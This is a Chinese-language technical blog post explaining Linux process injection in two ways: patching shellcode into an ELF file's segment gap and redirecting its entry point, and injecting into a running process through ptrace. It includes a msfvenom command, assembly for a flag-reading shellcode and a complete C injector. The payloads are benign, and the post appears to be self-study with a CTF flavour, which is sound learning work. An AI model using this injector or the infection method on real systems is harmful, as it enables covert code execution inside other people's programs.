Linux进程注入

January 13, 2021 Linux 访问: 142 次

elf文件注入

直接把shellcode静态的添加到文件进去,然后修改程序入口点为我们的shellcode(注意shellcode的最后需要进行一个跳转,跳转到我们正常的程序入口点即可)

0x01 生成shellcode

可以通过msf来生成,当然也可以自己写

msfvenom -p linux/x64/exec CMD=whoami --arch x64 --platform linux -f raw > shellcode_exec

0x02 找到页之间的空隙

❯ python /usr/local/bin/readelf.py -l test                                                              130 ↵

Elf file type is EXEC (Executable file)
Entry point is 0x4004c0
There are 9 program headers, starting at offset 64

Program Headers:
  Type           Offset             VirtAddr           PhysAddr            FileSiz            MemSiz              Flags  Align
  PHDR           0x0000000000000040 0x0000000000400040 0x0000000000400040  0x00000000000001f8 0x00000000000001f8  R E    8
  INTERP         0x0000000000000238 0x0000000000400238 0x0000000000400238  0x000000000000001c 0x000000000000001c  R      1
      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
  LOAD           0x0000000000000000 0x0000000000400000 0x0000000000400000  0x00000000000007c4 0x00000000000007c4  R E    200000
  LOAD           0x0000000000000e10 0x0000000000600e10 0x0000000000600e10  0x0000000000000238 0x0000000000000240  RW     200000
  DYNAMIC        0x0000000000000e28 0x0000000000600e28 0x0000000000600e28  0x00000000000001d0 0x00000000000001d0  RW     8
  NOTE           0x0000000000000254 0x0000000000400254 0x0000000000400254  0x0000000000000044 0x0000000000000044  R      4
  GNU_EH_FRAME   0x0000000000000698 0x0000000000400698 0x0000000000400698  0x0000000000000034 0x0000000000000034  R      4
  GNU_STACK      0x0000000000000000 0x0000000000000000 0x0000000000000000  0x0000000000000000 0x0000000000000000  RW     10
  GNU_RELRO      0x0000000000000e10 0x0000000000600e10 0x0000000000600e10  0x00000000000001f0 0x00000000000001f0  R      1

 Section to Segment mapping:
  Segment Sections...
   00
   01     .interp
   02     .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .plt.got .text .fini .rodata .eh_frame_hdr .eh_frame
   03     .init_array .fini_array .jcr .dynamic .got .got.plt .data .bss
   04     .dynamic
   05     .note.ABI-tag .note.gnu.build-id
   06     .eh_frame_hdr
   07
   08     .init_array .fini_array .jcr .dynamic .got

可以看到,type类型为LOAD的两个segment中间是有一段空间的,在0x00000000000007c4~0x0000000000000e10之间

0x03 插入shellcode

16100720908348.jpg

0x04 修改入口地址

16100775658397.jpg

成功执行我们的shellcode

16100780847096.jpg

然后我发现如果通过execve执行/bin/sh命令的话,执行完会程序会直接挂掉

写一个读文件的shellcode

from pwn import *
context.arch='amd64'
shellcode = '''
    mov rbx,0x67616c662f2e
    push rbx
    mov rdi,rsp
    xor rsi,rsi
    mov rax,2
    syscall

    mov rdi,3
    mov rsi,0x601050
    mov rdx,0x30
    mov rax,0
    syscall
    
    mov rdi,1
    mov rsi,0x601050
    mov rdx,0x30
    mov rax,1
    syscall
    mov rax,0x4004c0
    jmp rax
'''
print asm(shellcode)

然后按照上面的方式注入进去

可以执行并且可以继续运行下去
16100791286641.jpg

ptrace 注入进程

主要是通过ptrace来操作进程内存

  • attach上进程
  • 获取进程当前状态的寄存器信息
  • PTRACE_POKETEXT修改内存,把shellcode填充到页空白区
  • PTRACE_SETREGS修改RIP,修改到shellcode
  • PTRACE_DETACH让进程继续运行

需要注意的是

0x01 第四步修改rip时,我们要修改成&shellcode+2,经调试发现,如果我们设置的地址是&shellcode时,跳到这个地址后会跳到前两个字节去执行(之前在CTF中遇到过)

0x02 没能实现动态生成shellcode,现在需要每次都先获取old_rip地址,再把这个old_rip构造到shellcode中,在进行注入

完整代码如下:

#include<stdio.h>
#include<sys/ptrace.h>
#include<stdlib.h>
#include <sys/types.h>
#include <sys/wait.h>
#include<sys/user.h>
#include<string.h>

void modify_memery(pid_t pid,size_t *buf,size_t addr,size_t len)
{
    //以字(64位)为单位写 PTRACE_POKETEXT, PTRACE_POKEDATA
    int times;
    if(len%8 == 0)
    {
        times = len/8;
    }else
    {
        times = (len/8)+1;
    }

    int idx,sign;
    for(idx=0;idx<times;idx++)
    {
        sign = ptrace(PTRACE_POKETEXT,pid,addr+(idx*8),buf[idx]);
        // printf("%p\n",buf[idx]);
        if(sign != 0)
        {
            printf("write memery error!");
            exit(0);
        }
    }
}

struct user_regs_struct* show_reg_info(pid_t pid)
{
    struct user_regs_struct *p_r=malloc(sizeof(struct user_regs_struct));
    ptrace(PTRACE_GETREGS,pid,NULL,p_r);
    printf("rax:%p\n",p_r->rax);
    printf("rbx:%p\n",p_r->rbx);
    printf("rcx:%p\n",p_r->rcx);
    printf("rdx:%p\n",p_r->rdx);
    printf("rdi:%p\n",p_r->rdi);
    printf("rsi:%p\n",p_r->rsi);
    printf("r8:%p\n",p_r->r8);
    printf("r9:%p\n",p_r->r9);
    printf("rsp:%p\n",p_r->rsp);
    printf("rbp:%p\n",p_r->rbp);
    printf("rip:%p\n",p_r->rip);
    return p_r;
}

void set_reg_info(pid_t pid,struct user_regs_struct *p_r)
{
    ptrace (PTRACE_SETREGS, pid, NULL,p_r);
}

int main(int argc,char * argv[])
{
    struct user_regs_struct *process_register;
    if(argc!=2){
        printf("Usage: %s pid\n",argv[0]);
        exit(0);
    }
    size_t old_rip;
    pid_t process_id = atoi(argv[1]);
    int sign=0;
    sign = ptrace(PTRACE_ATTACH,process_id,0,0);
    if(sign!=0)
    {
        printf("ptrace error!");
        exit(0);
    }
    wait(NULL);
    process_register = show_reg_info(process_id);
    old_rip = (size_t)process_register->rip;
    size_t *shellcode=malloc(0x100);
    int shellcode_len;
    char sc_tmp[] = "\x53\x51\x52\x57\x56\x41\x50\x41\x51\x41\x52\x41\x53\x41\x54\x41\x55\x41\x56\x41\x57\x48\xbb\x2e\x2f\x66\x6c\x61\x67\x00\x00\x53\x48\x89\xe7\x48\x31\xf6\x48\xc7\xc0\x02\x00\x00\x00\x0f\x05\x48\xc7\xc7\x03\x00\x00\x00\x48\xc7\xc6\x50\x10\x60\x00\x48\xc7\xc2\x30\x00\x00\x00\x48\xc7\xc0\x00\x00\x00\x00\x0f\x05\x48\xc7\xc7\x01\x00\x00\x00\x48\xc7\xc6\x50\x10\x60\x00\x48\xc7\xc2\x30\x00\x00\x00\x48\xc7\xc0\x01\x00\x00\x00\x0f\x05\x5b\x41\x5f\x41\x5e\x41\x5d\x41\x5c\x41\x5b\x41\x5a\x41\x59\x41\x58\x5e\x5f\x5a\x59\x5b\x48\xb8\x70\xc3\xeb\xe7\x2f\x7f\x00\x00\xff\xe0";
    memcpy(shellcode,sc_tmp,141);
    modify_memery(process_id,shellcode,0x400800,141);
    process_register->rip = (unsigned long long int )0x400800+2;
    set_reg_info(process_id,process_register);
    show_reg_info(process_id);
    ptrace(PTRACE_DETACH, process_id, NULL, NULL);
    return 0;
}

构造shellcode:

from pwn import *
context.arch='amd64'

shellcode = '''
    push rbx
    push rcx
    push rdx
    push rdi
    push rsi
    push r8
    push r9
    push r10
    push r11
    push r12
    push r13
    push r14
    push r15


    mov rbx,0x67616c662f2e
    push rbx
    mov rdi,rsp
    xor rsi,rsi
    mov rax,2
    syscall

    mov rdi,3
    mov rsi,0x601050
    mov rdx,0x30
    mov rax,0
    syscall
    
    mov rdi,1
    mov rsi,0x601050
    mov rdx,0x30
    mov rax,1
    syscall

    pop rbx
    
    pop r15
    pop r14
    pop r13
    pop r12
    pop r11
    pop r10
    pop r9
    pop r8
    pop rsi
    pop rdi
    pop rdx
    pop rcx
    pop rbx
    mov rax,0x7f2fe7ebc370
    jmp rax
'''
shellcode = asm(shellcode)
c_buf = ""
print len(shellcode)
for x in range(len(shellcode)):
    c_buf += "\\x"+hex(ord(shellcode[x]))[2:].rjust(2,"0")
print c_buf

效果:

16100961578664.jpg

注入工具 linux-injector

工具地址linux-injector

环境,需要安装fasm,然后make就行

用法:
需要进程pid和payload的二进制形式

❯ ./injector 22435 print64.bin

16105048493040.jpg

添加新评论